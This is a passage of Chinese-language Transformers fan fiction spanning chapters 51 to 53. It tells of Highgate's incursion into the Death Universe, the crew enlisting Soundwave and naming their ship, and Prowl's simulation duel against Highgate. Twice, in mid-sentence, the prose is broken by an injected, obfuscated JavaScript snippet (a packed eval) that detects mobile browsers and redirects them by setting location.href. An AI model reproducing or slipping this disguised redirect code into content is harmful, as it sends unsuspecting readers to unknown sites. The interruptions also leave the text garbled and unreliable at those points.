换句话说,是林格替自己接下了这次理应致命,却又必然发生的切换。 ——而这也意味着,眼下的情况是必然发生的。 命运的恩赐…… 这个词再次跑到他的脑海。 好像和林格……不,是海格特有关的所有事情,都会在某个时刻发生近乎不可思议的闭环。 是巧合吗? 心里有种奇妙的感触,只是眼下这件事只能成为他一个人的秘密。 —— 虽然警车平安无事,但他的经历也意味着众人直接回到过去改变海格特的计划泡了汤。 于是在略作调整后,战术家找到了刹车。 “你之前说有个人可以与海格特直接沟通?” “在先进技术学院曾经有个能读心的异能者。”深蓝色涂装的理论家简明扼要地回答,“至少可以单方面获得海格特的情报。” 他说的是声波。 警车甚至不用特地评估那名霸天虎情报官的危险性,差点就想直接把这件提议否决掉。 但出于某种让事情自然而然发生的想法,他决定违背逻辑中心发出的警报,至少做一次尝试。 “我们假定他的异能可以覆盖到塞伯坦,但你确定他能对机器使用能力吗?”他问。 “我推测他的读心能力是对生物思维的感知,”刹车解释说,“如果塞伯坦上的人全部发生了数据化,那思维多半也会停止流淌,这时唯一一台还在思考的事物,哪怕是一台机器,他的神经动态应该也会变得更容易捕捉。” 就像在极端安静的地方,连最细微的声音也会显得格外清晰。 “但如果……我是说如果,声波本人不愿意配合该怎么办?”大黄蜂提出了所有人心中的顾虑。 “你担心这个?那你就大错特错了。” 这次反驳他的是红蜘蛛的幽灵。 似乎想到了什么,他神色古怪地眯起眼。 “我看他们关系好得很……至少敢当着声波的面对威震天不敬,却还全身而退的人,我只见过这么一个。而且既然你们说声波曾经也是震荡波的技术学院的一员,光是这一点,他们就不可能敌对,说不定那个前议员早就等着在这里用上他呢。” 这话里显然包含着某种别有用心的指控,大黄蜂有些不确定地笑了一下。 “我知道你在想什么,你以为我想太多,”红蜘蛛摆了下手,“这就是我的风格。” 而且,就算他不懂科学,也不代表他不懂阴谋家。 震荡波……那个家伙绝对还藏着什么更大的阴谋在后面等着。 起码现在,红蜘蛛如此坚信着。 51.第五十一章 据说塞伯坦人从外部得到的情报中,有约八成是来自光学镜或其他成像模块。 换言之,在这片漆黑而荒芜,连光学镜都不怎么能用上的未知宇宙内,能明确被辨识出的现象信息只有不到两成。 但对于哲拉萨斯来说,已经足够了。 这里是死亡宇宙,一个虚无的领域,潜伏在所有生命的另一端。 哲拉萨斯曾在古老的典籍里读到过关于它的情报,当时只以为是脱离科学的无端想象,直到两百万年前,方舟在本祖里星域发现了进入死亡宇宙的通道。 在镇天威的指挥下,飞船义无反顾地驶入裂口。 对于伟大领袖来说,这是宇宙扩张计划的一环,哲拉萨斯对殖民和权利不太感兴趣,然而他被死亡的概念深深捕获——塞伯坦人能否克服死亡?带着这样的疑惑,他开始执行镇天威的计划,寻找机会将常规宇宙和死亡宇宙合二为一。 狂飙在死亡宇宙的各处奔波,为他们寻找计划所需的负核心,惊破天则酝酿着自己的计划,而其他几乎所有船员,都被领袖作为能量,慢慢消耗干净。 一切缓慢而稳定地进行。 直到某一天,突破口出现了。 自进入死亡宇宙后就再也没有反应的飞船侦测设备,突然反馈出几个坐标。 那些是通往常规宇宙中塞伯坦的裂隙,很可能有人进行过小范围时空跃迁所以留下了痕迹。 哲拉萨斯看不到常规宇宙的景象,只能试探地对这些入口发起攻击,虽然有些反馈,但那些裂痕很小,很快就自动关闭。 “利用负核心做启动能源再次打开那些坐标点位,必须建立通往塞伯坦的通道。” “是,陛下。” 在镇天威的指示下,哲拉萨斯进行了尝试。 第一次,他虽然成功打开通往塞伯坦的入口,但不知为何,发射出去的攻击全都没有得到反馈,像是凭空消失了。 可能是链接建立得有问题,于是在做了更完善的准备后,哲拉萨斯进行了第二次尝试。 这次格外顺利。 用来进行试探的攻击没有遭到抵抗,可能正好落在塞伯坦的无人区,没有被注意到。 于是哲拉萨斯乘胜追击,准备了用以连接的数据桥梁。 这可能是两百万年来的唯一一次机会,也是有史以来,第一次融合两个宇宙的尝试。 一种难得的振奋让科学家的精神保持专注,在火种冰冷而坚定的跃动中,他将数据桥架向常规宇宙的塞伯坦—— “找到你了。” 声音。 像是来自虚空中,无数错乱的数据流交杂在一起,所组成的悦耳而诡异的声音。 有点熟悉,但一时间想不起是谁,这个声音像是从所有人的脑后直接响起。 “它”在对他们每个人单独说话。 “!!” 来不及做出任何反应,白色的雾气就悄然顺着数据桥反向缠绕过来,就像迅速延伸的藤蔓,密密麻麻,不断向上攀附和汇聚。 紧接着,在镇天威所选择的临时基地的上方——那漆黑一片的死亡宇宙空间内, 睁开了眼睛。 一只、两只,无数只浅蓝色的眼睛如同曾经月卫二旁那些遥远的光点般绽放,将他们团团包围,那是在这个宇宙中绝对不可能出现的东西,那是…… “那台机器!?” “好久不见了,首席科学家阁下,还有前领袖大人。”海格特温和地开口,“感谢你们的邀请,接下来,请与我进行一场计算比赛, 当然,胜利的奖励就是……这个宇宙。” 哲拉萨斯的光学镜睁大,嘴则是半开着,一副愕然的表情。 “阻止它。” 镇天威率先反应过来,在他下命令的一瞬间,狂飙就已经以不可思议的速度冲了出去,惊破天亦然,开始轰炸破坏天上的那些“眼睛”。 火力充足,攻势迅猛,尽管打击足以撕裂行星表面,但新生的眼睛增殖速度比破坏的速度更快。 充斥着寂静和虚无的空间里,随便哪个方向都会出现海格特的视线,攻击是否被看破完全无关紧要,那台机器只是用难以想象的速度,像是入侵毫无防护网的服务器那般,轻松占据着这边的宇宙。 为什么它可以进入死亡宇宙?哲拉萨斯的脑模块疯狂运转着。因为是非生命体吗?因为是本身就与死亡无缘的机器吗?还是说…… 它的构成概念中,本身就包括某种和死亡有关的要素? 啊,这该死的学者综合症。哲拉萨斯在心里埋怨着自己不切实际的想法。 死到临头,居然还在思考这些有的没的。 而就在这时。 在机器即将占据绝对的上风,开始侵蚀死亡宇宙之前—— “砰。” 像是错觉或者奇迹发生了那般,它乍然消失了。 漆黑得仿佛被诅咒的宇宙空间内,没有风,没有光,什么也没有。 就好像…… 从来都没有出现过那片蓝色似的。 —— ———— 迫于形势,众人最终还是决定去找声波,将他传送到飞船上,好实现与海格特的远距离沟通。 但是现在有个最关键的问题。 “呃,所以,”热破四下张望,做了个总结,“真没人知道那个叫声波的霸天虎当时在哪?” 他看向刚刚与通天晓和感知器进行了通讯的探长,后者也只是摇摇头,表示没有收获。 “既然是情报官,就意味着他很少直接进入正面战场,”奥利安思考着,“就算在附近,可能也伪装成了其他形态,五分钟的时间不够我们展开全面排查,而且如何获取他的信任,得到火种编码也是一个问题。” “能不能换个人捞上船?” “我们没有那么多试错空间。” “好吧,那如果从别的地方突破呢?”热破说,“我记得船上有个能让机器停止运作的异能者,想办法放大他的能力,然后停止海格特的运作不就可以了?” “有趣的想法,”小诸葛拍了下手,笑道,“但关停一部已经蔓延至整个星球的机器需要巨大的能量,而且所有塞伯坦人的数据都和海格特关联了,把机器强制关掉,可能会将全球的人的数据一并删掉。” 也就是说,让丧门神关闭海格特,他们先得想办法把黄矮星抽干,然后让全球的人变成电子幽灵。 “是吧,很酷,但我单方面觉得还是别这么干比较好。” 热破故作轻松地评价完,不说话了。 “也许我们把问题想得太复杂,不如就让那边的大个子向霸天虎打听一下?”充电器看向奥利安,“他不是当时正在跟威震天谈判吗?直接问就好。” “……你让派克斯怎么开口?‘我真诚地希望跟你们停战,对了顺便问一下,你们的中央情报官在什么地方’?”警车冷漠地说着,“还不如热破的建议,至少让星球毁灭得痛快一点。” 这话让充电器有点生气,但也想不出反驳的话,于是只能噎了回去。 的确,这听起来太像挑衅了。大黄蜂心想。连红蜘蛛都不会这么故意刺激别人。 ……等一下。 “你知道声波在哪吗?”他转头问道。 “哦,你们终于想起来这里还有个霸天虎高层了?”红蜘蛛看上去有些不爽,“我不知道。” “好吧……” “但有些话我要说,你帮我同声传译一下。” 于是在众人的视线中,大黄蜂开始转达红蜘蛛的话。 “声波的位置并不会共享给其他霸天虎,一般情况下,他也不会作为寻常作战单位出战。” “再加上他的异能,那就算有人知道了,也会被他发现然后随时改变位置吧。” “所以除了威震天之外,一般只有那几个跟着他的磁带战士能得到他的信赖,知道他在什么地方。” “正巧现在就有一个……什么?” 大黄蜂说到这忽然愣了一下,看向旁边的空气。 “——你说机器狗就在我们身边是什么意思?” 紧接着,红蜘蛛恶趣味的笑声中,一道黑影从会议室的通风口闪过。 “他在那!” 众人不得不手忙脚乱地开始了追逐。 注意力转移装置只对“一开始就不知道这里有东西”的人起效,一旦所有人主动专注起来去找,机器狗就无处遁形。 他转眼要从航空港逃走,不巧的是撞上了抓捕囚犯后回到空间站的通天晓和感知器。 两面夹击之下,兽形金刚被抓住了。 虽然看不见红蜘蛛,但他恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15226886|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠狠地看着那人大致在的方向。 “无耻的叛徒!” 机器狗嘶吼着。 他不久前将自己的火种进入软终结状态,变形成磁带藏在别人身上,似乎是质量足够小,因此被判定为“物品”,一起完成了跃迁。 之后就一直跟着飞船行动,收集情报。 很显然,他不相信事情没有转机,却也不相信汽车人。 红蜘蛛的幽灵诧异地摊了下手:“塞伯坦都没了,我背叛谁?” 大黄蜂没有转述他这句话,因为机器狗看上去已经很不愿意合作,不能再继续刺激他。 “让我来吧。” 最后,还是由奥利安出面。 机器狗暗红色的光学镜死死盯着他:“政府的走狗,自私、虚伪的代名词!除非你想被撕碎喉咙,否则别靠近我!” 然而奥利安只是伸出手,毫不犹豫地将关押它的牢笼打开。 “我承认,过去的汽车人政府把人当成物看待,而你不仅不会,甚至会把拥有知性的物当作人看待,毫无疑问,是前者的罪恶深重。” 他平静地说着。 “但现在的情况不一样,作为平等的塞伯坦人,我们需要你,去拯救你的朋友,还有我们的朋友。” “请相信我们。” 或许是因为处于宇宙中科学卫星的缘故,周围的气味格外干净。 因此,机器狗没有多费力就嗅到了眼前大个子身上的气息。 和过去的声波一样。 那是理想的气息。 —— ———— 期待落空,戛然而止。 有种不舒服的感觉。 海格特失望地看着因不明原因关闭的裂隙,就在不久前,他被死亡宇宙拒绝,强制赶了出来。 为什么?是谁设立了类似屏障的东西吗? 不像是哲拉萨斯他们的手笔,但无论怎么说,现在一点线索也没有。 这次失败后,对方估计就再也不会主动打开通往死亡宇宙的通道了。 “为什么不听我的话呢……” 他刚刚目睹了那边的风景,也看到了哲拉萨斯惊恐的脸。 那个宇宙被恐怖和荒芜所充斥,但只要他介入,只要塞伯坦人坦然接受他设计的未来,这一切问题都会解决。 甚至,连死亡都可能被攻克。 ……算了,只是想着无可挽回的事,是不会有新的收获的。 海格特心想。 不管怎么说,这次也证明了他将手伸向其他宇宙的可能性。 如果可以控制塞伯坦之外的地方,总有一天,他能将无论哪个宇宙,所有的火种“占为己有”。 他思考起该如何入侵另一个宇宙,刚才的战斗对他来说没有丝毫损失,因为受伤也好,毁灭也罢,都是信息层面的事,数据化的世界里一切行为都不消耗能量——但也正因如此,被某个意识到这一点的存在建立了防火墙,他就被赶回来了。 光是信息还不够啊。 他正这样想着,突然看见遥远的宇宙中,有一颗火种在那里闪烁。 “咦?” 至高之门诧异地看向那个地方,准确来说,是那个本来消失不见,现在却突然再次出现的火种。 【提议……】 它在通过闪烁传达某种信息。 【我们向你……】 这种方法,在海格特的认知中,全宇宙只有一个人能做到。 【发起…宣战……】 机器微微愣了一下,浅蓝色的视线死死盯向宇宙中某个方向。 宣战? 是在说什么呢?要夺回塞伯坦?还是要消灭自己? 因为想得太多,反而分不清声波是在表达什么意思了。 但无论那是何种意图的宣战,答案都只有一个。 “——好的。” 明明自己就是加害者,明明眼下的情况是完全能预料的,但如此明确地被塞伯坦人当成敌人,身体中的某处还是响起了悲鸣。 “我说过期待你们的表现,哪怕是宣战也一样。” 【感到……难以接受?】 “也不算吧,反正,” 海格特向着宇宙,投去了十分温柔的目光。 “到最后,大家都会互相理解的。” 52.第五十二章 早些时候。 宇宙,科学卫星上。 呈现在眼前的风景是如此异样,仿佛将现实和幻想的边界不讲道理地融合在一起。 声波独自注视着这一切,然后闭上光学镜。 先前在机器狗的保证下,他面对一众汽车人勉强保持着冷静,听其他人讲述了事情经过,然后提出要一个人来甲板思考。 没有人阻拦他。 虽然还能听到一些心声,但总体来说,这里是前所未有的安静。 在很久很久以前,当他还是原生体的时候,因为音频接收功能还未完全展开,所以曾短暂地还未觉醒读心的异能。 那时候就是这样安静。 所以,有一种回到过去的感觉。 站在飞船的甲板上,不用特别专注,也能听见遥远星球上失去通讯手段的塞伯坦落难者的交谈。 听见藏在暗处的机器狗那均匀的呼吸声,甚至能听见从母星上传播回来的,那宛若遥远波浪般的声音。 那是十分和谐的频率。 仿佛构成星球的所有基本粒子都在整齐划一地唱着同一道旋律,通过计算,精准地表达着秩序和幸福。 据说光谱教还是别的什么宗教里,对死后世界的描述差不多就是这样。 充满平等,充满和平,充满富足。 但是…… “感到焦躁了?”跟出来的机器狗问他。 “否定。” “你瞒不过我。” 声波稍作沉默后,回答道:“只是有点疑惑。” “你就是容易想太多,”兽形金刚坐在原地,“一旦没有威震天大人作为标准,就又回到迷茫的状态了。其实完全可以把问题想得简单点,这只是一场危机,就像清理变质的噩梦燃油那样,去解决一台报错机器带来的问题。” 但是,声波只是摇头。 “虽然海格特不是一个精神正常的塞伯坦人,但不能说他不具备人格。” 不正常、是机器、没有火种……这些都是借口。 他毁灭了世界?不,正好相反,海格特已经实现了理想,没有经过任何冲突,就让塞伯坦变成希望中的样子。 为了塞伯坦人的未来,为了生命, 为了终止战争,为了解决能源短缺,为了结束所有的不平等和奴役, 怀着纯粹的善意,海格特将这颗星球做成了一个完美的—— “标本。” 可能没有宣之于口,但机器狗替他说出了这个词。 于是,霸天虎的情报官默默握紧拳头。 为什么会变成这样? 自己要跟着威震天大人解放整个塞伯坦,这是迟早的事情,但之后呢? 等霸天虎赢了,我们是否也会造个一模一样的标本出来? 明明看着变成现实的理想未来,心里却产生了前所未有的迷茫和困惑。 “我承认他和你有不少共同点,所以要因为理想破灭的连带感而同情也是你的自由。但这不代表我们要原谅他的所作所为——哪怕不是出于自私,他也不应该替塞伯坦做选择。” 机器狗站了起来,伸展四肢。 “先阻止他再慢慢想吧,里面好像挺热闹的,我去看看。” 说完,他走向科学卫星内部。 声波想了一下,也跟上去。 —— ———— 科学卫星,明亮的会议室内,正在展开一场讨论。 “既然他的名字是High‘gate’,”热破认真地说,“那作为对手,我们应该起一个明显能解决他的名字。” “什么?” “就叫关门大吉号!” “……” “不行。”作为法官,通天晓使用了一票否决权,“最好严肃点,我们要面对的是塞伯坦的敌人。” “什么?敌人?你不能这么说他,他只是……” 天火想反驳,但被其他人劝了回去。 声波和机器狗在角落里坐下,自动放弃参与讨论,只是静静观察起来。 虽然有点晚了,但众人正在给这艘飞船起名。 “哼,‘严肃’,”热破悻悻坐下,“那我看干脆就听警车的建议,叫奥利安·派克斯号算了。” 于是警车认真地点头,奥利安严肃地摇头。 “你们应该听过这句话,‘进入此门者,需杜绝一切希望。’”丧门神缓缓念诵起古典名著里的句子,“既然以地狱之门为敌,船就应该叫‘塞伯坦神曲’号。” “你该少看点那些书。”开路先锋吸着能量饮料,给出了反对意见,“我看霸天虎都没几个像你这么神叨叨。” 丧门神啧了一声,不说话了。 “那干脆叫‘门都没有’号得了。”被铐着双手的旋刃突然发言,“比你们想的都好。” 充电器看了他一眼:“这名字跟热破一个水平。” 旋刃大发雷霆。 要不是被通天晓控制住,看上去就要踹飞充电器的椅子了。 “呃,Keystone(拱心石)怎么样?”千斤顶竖起一根手指。 “什么意思?”有人问。 “这是一个建筑术语,但我的想法就是字面含义,你们看,用钥匙开门,用石头砸门,一举两得。” 他像是讲出了一个准备很久的精妙的笑话,脸侧的指示灯兴奋地闪烁着。 然而一阵泛着凉意的沉默席卷了整个空间。 “我受不了了,”救护车皱着眉叹气,“为什么每个人都在讲冷笑话?” 似乎把这句话本身也当成笑点的一部分,又似乎是因为救护车平时严肃认真的形象深入人心,总之话音落下时,不少人都哈哈笑了起来,甚至有人吹着口哨鼓起掌。 场面荒诞到了极点。 奥利安忍不住扶上自己的额头。 “我猜测这一船人或多或少都有精神类疾病。”通天晓默默道,“幸运的是我们有一位心理医生。” 听见这话,正在会议室角落修理模型飞船的荣格,忽然被不少人投去视线。 “……怎么?” 一直在做背景板的心理医生显然没跟上节奏,被这么看着,也只能困惑地放下模型,抬了下眼镜。 他的一只手臂在之前被旋刃劫持的时候受了伤,现在缺乏维修所需要的零件,于是只能临时被固定着,动起来有点不方便。 “就是给飞船起名,所有人都要发言,或者弃权,”热破拍了下手,认真地看向他,“快,现在轮到你了,ru…runner?” “是荣格。”橙色的心理医生无奈地纠正,但他对于被提起这件事还是有点高兴的,“好吧,既然你们要参考我的意见……从目标上来说,海格特让整个塞伯坦进入静止,也就是说我们的目的是让塞伯坦继续运作,那么我认为应该叫万物之流号(Panta rhei)。” “Panta……什么?”包括热破在内的几乎所有人都没反应过来。 “万物之流(Panta rhei),这是一位伟大的古塞伯坦哲学家提出来的理论,意思是强调万物永恒流动,他的名字叫……”* “哦拜托不要讲历史课,我不想听我不想听——” 充电器怪叫着捂住音频接收器。 刚刚这些内容让他想起了过去在先进技术学院因为历史知识不及格,被震荡波单独留堂到第二天的恐怖经历。 “那次不是怪你自己逃了太多课吗……”刹车忍不住笑道。 虽然旋刃和热破都抱怨这名字太无聊,但也没具体给出反对意见,相反,奥利安和通天晓等人对其给予了肯定,剩下的大部分人其实都无所谓。 “那就决定了,我们就让飞船叫这个名字。” “万物之流”的名字被采用,通天晓将其登记在飞船信息上,天火也紧跟着将其 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“海格特并不是出于愤怒或恶意而将塞伯坦静止,相反,他通过运算,判断出静止是对塞伯坦人最好的选择,”说话的是天火,“所以只要让他意识到‘发展’能带来比‘静止’更好的未来,他就会主动解除数据化。” “那句碳基的话怎么说来着,”博览群书的刹车陷入回忆,然后一敲手心,“对了——家属禁止发言。” “家……什么?” “别管他,我倒觉得可行。”这次说话的是小诸葛,“哪怕仅仅是从构造的角度,机器也会有运作的底层逻辑,刚刚派克斯也说,我们要面对的不是海格特,而是他所认为的‘静止的塞伯坦是最好的结局’这个理念。 所以事情其实很简单,给出更好的可能性,让那台机器自相矛盾!让他的逻辑土崩瓦解!让他的数据流意识到——” “你冷静点。” 眼看小诸葛都要跳上桌子,感知器把他拽回了椅子上。 “——静止,就是,错的。” 倒在椅子上的小诸葛坚持着说完了。 —— ———— 于是,声波的能力经过仪器增幅后,将众人的想法传达给了海格特。 “知道吗?” 在听到他们的描述后,接受了宣战的至高之门没有第一时间询问细节,而是说起塞伯坦上的情况。 “正是因为你们想让世界产生改变所做的那些小手脚,差点导致一个可怕的宇宙入侵塞伯坦。” 死亡宇宙。 如果不是海格特的阻止,恐怕镇天威已经将手伸进来了,到时候连领袖都没有的塞伯坦只会面临灾难性的结局。 “但我已经通过数据化,把那些入侵全都拦截,毕竟他们无法对静止的信息做出改动。” 只是这么微小的行动,都可能带来灭顶之灾。 “即便如此,你还是认为静止是错误的?” 机器用几乎没有多余感情的温和声音,从容地说着事实。 稍作沉默后,对面有了回音。 【既然你拥有强大的数据能力,那就听从我们的可能性,演算出塞伯坦的未来。】 声波回答他。 【另外,这不是我的意见,而是目前没有被你静止的,“万物之流号”飞船上全体塞伯坦人的意见。】 “‘万物之流’……你们变成共同体了?” 霸天虎和汽车人联合在一起,对此,海格特发自内心地感到高兴。 “既然这是能听见他人心声的你的判断,我会相信的。” 于是,作为加害者、独裁者,作为爱着这颗星球,希望塞伯坦人得到幸福的机器。 什么也不需要思考,仅仅是高高抬起了头。 “我会向你们展示流动下去的结果,如果有能让这颗星球更加幸福的可能性,就展现出来试试。” 53.第五十三章 眼前是一个近乎纯白的房间。 金属墙面整洁干净,为数不多的家具被一丝不苟地摆放在空间内,没有多余的装饰物,温度适宜,光线清透。 警车睁开光学镜的时候,看到的就是这样一副画面。 这里毫无疑问是他自己的房间,但并非机械法医的住所,也不是领袖副官或战术指挥家的办公室。 而是很久以前,当他还在云雾山城进行训练学习时分配到的宿舍。 他坐在桌边,像是刚刚从一个久远的梦里醒来。 “……” 安心感让警车有一瞬间陷入恍惚,就像是睡醒时记忆模块还未完全加载的那几微妙,但紧接着—— “当我们的天空连成一片,家宅就有了屋顶。”* 一个声音将他拉回现实。 警车这才意识到房间里不止自己一人,有人坐在他对面,单手托着下巴,转头眺望着窗外的景色,但在对方开口前,自己完全没意识到他的存在。 深色的机体,透明般的视线,毫无疑问…… “海格特。” 在看到这个人的瞬间,警车想起了过去发生的一切。 他立刻站起来,用枪指着对方的头雕。 “你看。”海格特无动于衷,他的目光一直停留在窗外,神色宁静,“在十数万年前,你也曾在自己的房间里,坐在窗边,观赏黄昏时分怡人的景色。” “这里不是我的房间,是你伪造出来的。” “嗯,很敏锐,但这不是伪造。” “什么意思?” “这里是你记忆中的住宅,你最初的宇宙,它包含了‘宇宙’这个词的全部意义,是保护着你的自我的空间。比起单纯的景观,我更倾向于称它为‘灵魂的居所’,这个地方会随着时间改变,而我只不过是借用一下,好用作对决的舞台。” 说到这,机器看向桌上摆放的一个相框,里面放着一张照片。 那是林格的照片。 在意识互换时警车记住了对方机体的样子,但说到底,这张照片不应该出现在这个宿舍里。 “你也注意到了,在这个空间,记忆和想象并不分离,所以能最大限度地发挥你的实力,”海格特解释道,“听过那句话吗?——‘最强大的创造力,来自人们心情平静时对往日的追思。’既然是对决,我当时希望你拥有最好的状态。” 对决。 这个词让警车彻底想起了之前发生的事。 全塞伯坦的数据化、逃亡、以及为了阻止海格特,“万物之流号”向海格特发起宣战,而警车作为第一个进行对决的代表来到塞伯坦…… 明明是母星,却说得好像自己是外来者似的。 一想到这,警车的不快和焦躁就加剧了。 总之,他几经判断认为自己是最好的人选,在说服其他人后,驾驶逃生艇率先来到这个被数据化的世界。 警车放下武器,坐回位置上。 “关于这里是被你虚构出来的空间这一点,我已经完全理解了,所以呢?你还是没回答我这里到底是什么地方。” “……这里是观测室。” “观测什么的?” “虽然只是理论层面的事,但在我们的世界周围,因为做出的选择不同,存在着用有些许差异的‘平行世界’。” 机器的手指轻轻抚过照片上林格面甲的位置,拂去上面的灰尘。 “虽然都是假设和模拟的结果,但或许某处真的存在那样的可能性也说不定,而这里,就是位于那些虚构世界夹缝之间的‘观测室’,用来输入参数,构造未来的地方。” 说到这里,海格特将一个东西放在桌上。 那看上去像是一个迷你版本的至高之门,巨大的眼球型装置散发着动人心魄,宛如活物流转的浅蓝色光芒,几乎照亮了整个房间。 警车陷入了片刻沉思。 按照他们原本的计划,如果海格特选择直接毁约并将警车数据化,那外面的人就会开始寻找其他适合居住的地方,重新发展塞伯坦文明,并且继续观察海格特,找机会将其破坏。 当时,尽管天火等人相信海格特不会这么做,这个可能性在警车的预测下依旧高达七成以上。 但现在看来…… “你很惊讶吗?”海格特平静地说,“既然想获得彻底的胜利,那我就不会作弊,而且我从一开始就不具备作弊的机能。” “不具备?你怎么证明?” “你试试就知道了,现在还不算正式开始,所以可以随意输入参数,就比如……” 海格特说着,在至高之门的模型上输入了一段文字。 “为了证明数据化是正确的,我要让停止数据化的世界变得一团糟,于是特地假设全塞伯坦人都变成了疯子,然后大家创造出无数高能相位炸弹,直接将整个塞伯坦引爆。” 模型闪烁起红色的光,发出了报错提示。 “——如你所见,这种天方夜谭的情况是无法发生的。” 警车皱了下眉。 他也试着输入了一些参数,有些可行,有些不可。 “评判标准是什么?” “在现实中发生的可能性大于百分之一。” 真是相当宽松的条件……但也就意味着,在海格特眼中他们的胜率渺茫到近乎极限。 “对了,为了防止你的意志被他人影响,在这里你听不见飞船上其他人的信号。”海格特说,“但为了公平起见,他们会观摩你对局中的片段,并见证它的结局,在一切结束后,我也会将你送离塞伯坦。” “为什么?不将败者直接数据化吗?” 过度的亲切,反而像是对输赢无所谓一样的态度,这台机器真是相当傲慢的做法。 “当你们所有人都输给我的时候,我的力量大概也能蔓延到更远的地方,”海格特说,“到时候直接将你们一网打尽就好,所以现在不会白费力气。” “我知道了。” 银白色涂装的塞伯坦人点了下头,决定将后续的行动暂且搁置。 “告诉我胜利的条件。” “当模拟结束,如果在你的参数制造出的未来里,塞伯坦人口、同星系其他塞伯坦人涉足的行星人口、以及可使用的资源数量,这三项中有至少两个,如果大于它们目前在数据化世界中的状态,那就算你们赢。” 警车不由得愣了一下。 如果按照时间正常流动,人口和资源毫无疑问都会增加,因为新生命会诞生,获取新能源的手段也会变多。 哪怕是战争年代也一样,不,不如说为了投入战斗,反而会加速制造出更多人口才对。 再怎么说,也不至于全都变成负数……? 按常理来说是这样。 “如果你胜利了,我将无条件解除塞伯坦数据化。”海格特补充道,将一个数据板递给警车,“另外还有这些规则,你看看吧。” 【模拟进行时,对局者与海格特双方的精神将连接到模拟中的世界,并遗忘这是一场模拟。】 【模拟以四百万年为最终期限,但现实时间仅消耗一至三日。】 【任何实现可能性大于百分之一的参数都将被无条件采用,并严格贯彻。】 【模拟结束后,为保护对局者脑模块的状态,将对相关记忆模糊化处理,因此同一人不得进行第二次参数模拟对局。】 …… 警车看着一条条规则,反复看了好几遍,然后他放下数据板,看向一言不发的海格特。 “你还隐瞒了一些内容。” “那是什么呢?”机器淡淡看着他,“我说过,我不会作弊的。” “无所谓,”警车绕开了这个话题,“你知道为什么我是第一个进行对局的吗?” “你是想用自己逻辑电路强大的性能,尽可能构想全面的参数,为之后的对局者留下线索……” “不。” 战术家打断了他的话,空洞而灼烧的目光紧紧盯着对方。 “因为我会赢过你,仅此而已。” “……” 海格特愣了一下,然后头一次选择直视自己的对手。 “真稀奇,我从没见过你这么乐观。”他说。 “不是乐观,我有信心。” “那太好了。”海格特微笑起来,“虽然我说对你们抱有期待,但那近乎是做梦一样的想法,实际上,我只是想在你们数据化之前留下一些不留遗憾的回忆而已。” “你这是在威胁?” “只是陈诉了事实,完全没有威胁你的意思。总之,想好了就输入参数,我们开始吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15249666|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无论如何,从警车的火种所呈现出的状态来看,他并不是虚张声势,而是真的这么认为。 但与此同时他也动摇着,一边动摇,一边坚信自己的胜利。 这大概应该叫……决心? 海格特意识到了他如此矛盾的状态,正因如此,也就不多说什么。 于是警车开始输入参数。 根本无需多加思考,他早就想好了这场对局所必要的一切条件。 海格特看了看上面的内容,虽然附加条件写得很多,但是整体的主参数倒是很简单—— 1、海格特立刻停止作为至高之门的职能,让塞伯坦恢复运转。 2、从即刻起,海格特在法律以及自我认同层面上,彻底放弃至高之门的身份,成为理论层面上的塞伯坦人。 “啊……” 看着这两条主参数,海格特苦恼地叹了口气。 “你发现了?” “还说什么不会作弊,”警车抱起手臂,“如果让你在模拟开始的一瞬间就钻到孔子,再次启动数据化,岂不是一切都没有意义,我没时间在这种根本问题上试错,也没兴趣思考你的个人意志。” “是吗,”海格特歪了下头雕,“那既然如此,第三条又是怎么回事?” 只见第三条主参数写着: 3、海格特将绝对听从警车的指挥。 “我以前说过,你不是机器,也不是塞伯坦人,”警车的表情倒是没有丝毫动摇,“如果你的意志也会影响可能性的数值,就不得不将其纳入考虑范围—— 如何让你心甘情愿地停止数据化,真正做到抛弃过去的身份?只要从现在开始你无条件地相信我,按照我说的去做,成为我的士兵,全心全意相信我的正确性就好。” “……” “你盯着我做什么?” “不,我只是,”海格特思考着,斟酌起措辞,“只是没想到你还有这种兴趣,还以为你会设定一些更具体的条件,比如研发出超级武器之类的。” “不接受吗?” “嗯,毕竟我对你绝对听从,这种可能性基本上无限趋近于零,并不是对你个人有什么意见,但我大概不会有理由……” “是吗。” 警车像是对此早有准备,双手交叠放在桌上。 “——哪怕是为了林格去赎罪,也做不到?” 空气有一瞬间的凝滞。 海格特看着眼前这个塞伯坦人,这个因为自己曾经的过错和罪孽而诞生的火种,此刻在表达着一种可怕的信息: 如果自己拒绝,那么警车现在就可以让火种停止所有的机能。 “……我有点生气了。” “是吗,看上去不像。” “不惜做到这个地步,你是觉得我会为了你退步?” “不一定,但我习惯于赌上所有能用的手段,结果成功就行,毕竟这颗火种在你眼里的意义,可不只是我一个人赋予的。” 疯了。 这简直是…… “我知道了。”在这种情况下,机器只能闭上光学镜,“我承认,你所设定的参数,可能性是存在的。” “那就可以了,开始模拟吧。” “只要这些参数就够了?”海格特问。 “会左右情况的影响因素越少越好,剩下的在对局中找到突破口就行,四百万年的时间维度太长了,不管想象出什么具体的武器或政策,都没办法适应这么长的维度,只能走一步算一步。” “知道了……” 所有参数通过审核,至高之门开始了模拟演算的进程。 世界开始震动,房间逐渐化作数据碎片消散在空中。 【第一数据推演模型——塞伯坦。 正在创建目标参数: …… …… 数据导入成功,开始覆盖自我信息。 尝试连接中……】 